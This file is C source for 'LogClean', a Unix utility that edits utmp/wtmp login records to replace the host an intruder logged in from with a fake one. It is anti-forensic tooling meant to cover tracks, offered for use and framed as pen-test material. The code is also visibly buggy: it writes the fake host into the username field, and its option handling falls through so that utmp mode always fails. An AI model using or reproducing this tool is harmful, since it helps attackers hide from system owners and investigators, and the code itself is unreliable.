/*			Sao Paulo May 29th - Brasil			     
 *			LogClean by VP					     
 * We used the Operational System Functions to handle utmp,wtmp files
 * It is faster than use fopen,fseek,etc
 * I Just tested it in my linux box but it must work in others unix too      
 * We dont clean yo entries in system log,but we change yo ip for another one
 * I did it for my own use in pen tests so dont complain.
 *
 * 
 * Victor Pereira - Security Analyst - <victor@hostname.org>
 */

#include <utmp.h>
#include <stdio.h>
#include <paths.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

struct usr_info{
	char rlogin[12];
	char flogin[12];
};
struct host_info{
	char rhost[255];
	char fhost[255];
};

void usage(char *proggie){
	printf("YALC - Yep, Another Log Clean\n");
	printf("By Victor Pereira <victor@hostname.org [2002]\n");
	printf("usage:%s <[v:c]> <[U:W]> [u <user>] [h <host>] [f <fake host>]\n",proggie);
	printf("Options Required:\n");
	printf("\tv:View the log file\n");
	printf("\tc:Change the log file\n");
	printf("\tU:Use the UTMP File\n");
	printf("-----------------------\n");
	printf("Options Optionals:\n");
	printf("\tu:user to be found\n");
	printf("\th:host to be faked\n");
	printf("\tf:host to fake\n");
	printf("\t?:This Help\n");
	exit(1);
}

int logclean(struct utmp *ut,char *user,char *host,char *fakehost){
	unsigned int count = 0;
	while((ut = getutent())){
		if((strcmp(ut->ut_user,user) == 0) 
		  &&(strcmp(ut->ut_host,host) == 0)){
			strncpy(ut->ut_user,fakehost,sizeof(ut->ut_host));
			pututline(ut);
			count++;
		}
	}
	endutent();
	printf("We changed %u entries\n",count);
	return(0);
}

int seekuser(struct utmp *ut,char *user){
	unsigned int count = 0;
	while((ut = getutent())){
		if(strcmp(ut->ut_user,user) == 0){
			fprintf(stdout,"user:%s\thost:%s\n",ut->ut_user,ut->ut_host);
			fflush(stdout);
			count++;
		}
	}
	endutent();
	printf("We found %u entries\n",count);
	return(0);
}
int lseekuser(struct utmp *ut,char *user,char *host){
	unsigned int count = 0;
	while((ut = getutent())){
		if((strcmp(ut->ut_user,user) == 0) 
		    &&(strcmp(ut->ut_host,host) == 0)){
			fprintf(stdout,"user:%s\thost:%s\n",ut->ut_user,ut->ut_host);
			fflush(stdout);
			count++;
		}
	}
	endutent();
	printf("We found %u entries\n",count);
	return(0);
}
		
int main(int argc, char **argv)
{

    struct utmp *ut;
    struct host_info hh;
    struct usr_info uu;
    extern char *optarg;
    unsigned int vw,ch,wf,uf,hk,uk;
    int opt;
   

    if (argc < 2) {
	usage(argv[0]);    
    }
    //Zeroooooooooooooooo
    vw = ch = wf = uf = hk = uk = 0;
    
    while((opt = getopt(argc,argv,"?UWvcu:h:f:")) != EOF){
	    switch((char)opt){
		    case 'v':
			vw = 1;
			break;
		    case 'c':
			ch = 1;
			break;
		    case 'u':	
			uk = 1;
			strncpy(uu.rlogin,optarg,sizeof(uu.rlogin) - 1);
		    	break;
		    case 'h':
			hk = 1;
			strncpy(hh.rhost,optarg,sizeof(hh.rhost) - 1);
			break;
		    case 'f':
			strncpy(hh.fhost,optarg,255);
			break;
		    case '?':
			usage(argv[0]);
		    case 'U':
			uf = 1;
			utmpname(_PATH_UTMP);
		    case 'W':
			wf = 1;
			utmpname(_PATH_WTMP);
	     }
    }
    if((vw == 1 && ch == 1) || (vw == 0 && ch == 0)){
	    printf("One option Must be set\n");
	    usage(argv[0]);
    }
			
    if((uf == 1 && wf == 1) || (uf == 0 && wf == 0)){
	    printf("You wanna UTMP our WTMP ?\n");
	    usage(argv[0]);
    }
    
    if((ch == 1) && (uk == 1) && (hk == 1)){
    	logclean(ut,uu.rlogin,hh.rhost,hh.fhost);
    }else if(vw == 1 && uk == 1 && hk == 0){
	    seekuser(ut,uu.rlogin);
    }else if(vw == 1 && uk == 1 && hk == 1){
	    lseekuser(ut,uu.rlogin,hh.rhost);
    }
    return(0);
}
